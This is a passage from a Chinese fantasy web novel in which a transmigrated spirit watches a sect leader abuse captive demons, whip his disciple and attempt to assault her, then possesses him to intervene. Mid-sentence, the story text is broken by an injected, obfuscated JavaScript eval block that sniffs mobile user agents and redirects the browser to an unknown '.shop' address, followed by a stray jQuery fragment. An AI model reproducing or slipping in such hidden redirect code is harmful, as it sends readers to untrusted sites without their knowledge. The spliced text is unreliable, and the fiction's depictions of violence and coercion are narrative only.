折羡一怒之下捶了顿空气,她怎么就穿到了这么个玩意儿身上?
前世真是造孽造得不够多。
等人完事之后折羡跟着他出了房门,此时夜已深,潋青峰格外静。柳欢珩只收了承漾一位徒弟,承漾的房间就在柳欢珩旁边,他路过房门时停了片刻,见里面不知何时已经熄了灯,又才推门进去,在门口站了约半个时辰才离开。
幸得这人没在此刻干点什么,不然折羡敢保证,装睡的承漾能在今天便结果了他。
柳欢珩走到了后山一处有结界的洞口,他解了结界朝里走去。
洞里时不时传来滴滴答答的水声,在潮湿阴暗的环境下尤为明显,大约走了一刻钟,折羡终于见到了一缕不需要夜视功能肉眼可见的光,走近才发现那是一盏灯,灯的旁边是——
一条银黑相间的蛇、一只棕色兔以及一只白色横斑的雪鸮。
柳欢珩将储物袋里的食物扔了出来,那三只品种不一的家伙全都冲了上来。
折羡亲眼见到那蛇吃了食物后化形成了一女子,只一眼,便认出兰璎那张脸。
柳欢珩这畜生竟然在人界养妖物。
还一口气养了三只。
“主人。”兰璎屈膝行礼,一旁的兔子紧接着化形成了一女子,此人是苜夭。
只剩下那雪鸮叼着食物没吃也没化形。
柳欢珩很满意这俩人如今对自己的态度,转到雪鸮时,他毫无征兆地掐住了它的脖子,灌入的灵气不低,仿佛要将它活活掐死。
“咕咕——呜——”它睁着眼睛,嘴里发出低呜声,像是在哭。
终于在它快断气时,柳欢珩松了手,它直直地跌到了湿漉漉的石板上,翅膀已经被眼前人折断,前爪甚至没力气动弹,橙黄色的眼睛却还死死瞪着柳欢珩。他没在意,甚至对于此等不知讨好卖乖的畜生颇为生气,抬起脚便踹了上去。
“我先前说的话你是听不明白吗?还想忠心于她?你只不过是她随手捡回来的一条畜生,你看她有来找过你吗?”
“如今,我才是能掌握你生死的人。”
他又将雪鸮提了起来,随手就要朝远处扔去。
结果手突然不听使唤松了力道,然后身体不受控制的朝雪鸮原来待的位置走去,还十分贴心地掏出一方帕子垫在下面。
一旁依旧跪着但一直偷偷瞄着这边的两人:?
什么情况。
就在刚刚,折羡发现自己可以附身了。
但为此消耗的精神力极大,而且能坚持的时间不长,根本无法多做什么。
这三只妖都是承漾救回来的,而兰璎和苜夭已经被驯化无法再救,便准备带走雪鸮,要让承漾知道它们如今的处境。
结果刚出结界柳欢珩就醒了过来,她只来得及给雪鸮下一层灵印便沉睡了过去。
她本以为沉睡之后醒来就是真的醒来,结果睁眼还是柳欢珩视角。
而且,时间线跳转的非常快,她发现苜夭和兰璎已经彻底以人的形态同承漾接触了。
她们穿着霄欢宗的弟子服,拜的是其他长老门下。
三人关系还朝着一种更好的方向在发展。
此时的柳欢珩,正在教训承漾,一旁的兰璎同苜夭在为她求情。
柳欢珩手中长鞭已经打了数十下,每打一鞭便会问一句“你可知错?”
承漾双腿跪在刺条上,即使后背被抽得血肉模糊,她依旧挺得笔直,声音透着一丝决绝:“弟子没错。”
她从来只称自己为弟子,而不是他的徒儿。
柳欢珩长鞭握在手中,脸上表露出一丝心疼:“为师只是想让你服个软,就这么难吗?”
那副难以言喻的怅然看得承漾直犯恶心,她恨不得现在就抽死眼前这个伪善下作的人。
“柳掌门,若认弟子之错,便按宗门规矩处置吧。”
长鞭落到了地上,柳欢珩哑声问她:“你唤我什么?”
承漾恶心到懒得多跟他说一句话,撇开脸没应。
柳欢珩冲到她面前,将人从刺条上拉了起来,怒声道:“你们两个滚出去!”
兰璎和苜夭立马溜了。
现下的承漾受了鞭刑,双腿也早已被刺条扎得满是血窟,整个人几乎是被柳欢珩提起来的,她捏着拳头想挣开他,这人的气息简直要把她熏吐了。
柳欢珩察觉到她想离自己远一点的意图,登时脑子就炸了,他将人按在床上,呼吸之间都在颤抖:“阿漾,你明知道……你明知道为师对你的心意。”
他知道自己并非无情无欲之人,虽已修至灵气阶段,却也只是刚摸到门槛,下等灵气也只修炼到三层,比起承漾的品质差太远。
因而从一开始的单纯培养心理渐渐变了质,不知何时从怜爱变成了爱而不得,从想让承漾成为他最得意的徒弟到同承漾在一起表露心意与其双修不过一念之差。
“你闭嘴,恶心。”承漾干脆松了手,躺下了,闭着眼睛头偏到一边。
此话一出,柳欢珩愣了一秒,接着笑了起来:“你说我恶心?哈哈哈哈,我养了你十八年,难道你不该是我的吗?我们天生就该在一起。”
柳欢珩扯了外袍,朝承漾走来,眼里满是对对方的渴望:“你知道我想这一天想了多久吗?阿漾,你这般世间少有的灵体,若同你双休,我们……”
“柳欢珩!你今日要真对我做什么,我来日必然让你承受百倍之苦。”她定会将这贱人削成碎片挂到霄欢宗门口让每一个路过的人都看上千遍。
更何况,这具身体,不可以,她死也不会让这具身体沾染上柳欢珩这种贱人的污秽。
她捏紧了拳头,掌中是一根极其细小的针。
“阿漾,我这是为你好。这于你于我,都是好事。”内袍的带子解了一半,柳欢珩突然停住了。
折羡实在是听不下去了,傻子都知道这情况再往下发展会是什么。
她算是看明白了,这家伙是有点脑残在身上的。
先是将承漾历练救回来的妖收入自己囊中将其驯化,还骗承漾说人妖两界不可苟同,他已将它们归还妖界,接着又命她们换身份接近
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209456|197386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承漾,与其结交之后诱骗她犯错的同时前去救她,最后又以此点拨想表明自己的善举。
还试图精神控制承漾让她对柳欢珩生情。
结果便适得其反,早就被人嫌弃了个透的柳欢珩也确实没想到,承漾那个一直很单纯善良的心,在面对其他人的欺骗时跟双眼瞎了一样,到他这里就处处碰壁,处处令她防备。
他精心筹划了这么久,想念渴望了那么久,怎么甘心就这样放走她。
折羡附身归附身,她说不了话。因而只好穿完衣服才去拉小姑娘的手,被承漾反手甩开。
“滚远点。”
折羡:……
她把柳欢珩那些灵药都摆了出来,接着用柳欢珩的佩剑戳了戳小姑娘的手臂。
没理。
她又戳。
承漾睁开眼睛,同‘柳欢珩’四目相对。
她脸上的怒气僵了一瞬,明明还是柳欢珩那张恶心的脸,她却仿佛从那双眼睛里看到了另外一个身影,很熟悉很熟悉,熟悉到她觉得委屈,熟悉到她想抱着那人哭。
“主……”
哽咽的话还没说出口,她就闭上了嘴,怕这一叫,便再也见不到了。
她又看到了那一排排药,再也忍不住,眼眶里的泪水一涌而出,在折羡面前哭得十分委屈。
折羡没法张口安慰她,只得垂着手在承漾头上方虚空摸了摸。又拿剑指了指药瓶:快上药,快快好起来。
她胡乱地擦着药,眼一眨不眨地盯着那双眼睛,大有将柳欢珩那张脸盯烂记死去往灵魂深处的架势。
看着人上完药,又送她回了房间,折羡松了口气,这才发现她居然还没被柳欢珩那家伙抢回身体主导权。
想到自己晕过去之前在雪鸮身上留了一道灵印,她调动灵气试着了感应了一下,灵印还在,说明这家伙还没死。
趁着还能活动,她拿起柳欢珩桌上的笔,低声念唤灵咒,将灵气凝聚在那笔端,几息过后,窗外响起了“咕咕”声。
折羡抬头,先前也不过一个柚子大小的鸟儿如今停在窗户边倒显得那窗口狭小了,雪鸮时隔几年再次闻到熟悉的气味,它第一次在‘柳欢珩’面前幻化成了人形。
这也是折羡第一次见到它的人形。
她身上白玉清冷的衣袍应当就是羽毛所化,同雪鸮那高傲孤冷的气质一般无二,在月色的点缀下倒显得有些柔和。
“她是我的第一位救命恩人,你是第二位,那么我该怎么称呼你呢?”她站在那里,朝还是柳欢珩模样的折羡问道。
折羡那时见到这雪鸮便知晓那模样定不差,现在见了人形确实好看。
“你帮我护好她这两年就行,我马上就要走了,也不会再回来。”这是嘱咐,也是告别。
折羡能感觉到,她在这里的灵气越来越淡,过不了多久,她就要醒了。
她不是在做梦。
也不知是心疼还是为承漾鸣不平,她只希望她的这次到来,能让她成长过程中少一点痛苦,至少在后来走上那条路时,心里是有过开心的。